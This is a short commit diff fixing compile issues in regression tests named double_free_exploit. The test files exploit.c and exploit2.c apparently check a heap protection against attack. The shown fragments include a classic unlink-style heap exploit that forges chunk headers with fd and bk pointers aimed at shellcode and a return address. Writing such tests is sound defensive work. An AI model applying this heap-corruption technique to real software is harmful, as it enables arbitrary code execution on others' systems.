CI Tests: fix /tests/Regression/double_free_exploit

* add missing casts to int
* add missing includes

tests/Regression/double_free_exploit/exploit.c

@@ -1,6 +1,7 @@
-#include <unistd.h> 
-#include <stdio.h> 
+#include <unistd.h>
+#include <stdio.h>
 #include <stdlib.h>
+#include <string.h>
 
 int main(void) {
         unsigned int *chunk;
@@ -17,8 +18,8 @@ int main(void) {
        */
         chunk[0] = -0x10;       /* prev_size */
         chunk[1] = 0x8;         /* size */
-        chunk[2] = shellcode;   /* fd */
-        chunk[3] = shellcode;   /* bk */
+        chunk[2] = (int) shellcode;   /* fd */
+        chunk[3] = (int) shellcode;   /* bk */
 
         /* set fd to the adres of the return address - 3
            the minus 3 is needed because fd[3] will become bk

tests/Regression/double_free_exploit/exploit2.c

@@ -1,4 +1,7 @@
-main()
+#include <stdlib.h>
+#include <stdio.h>
+
+int main()
 {
     int *a,*b,*c,*d,*e;
     b=malloc(8);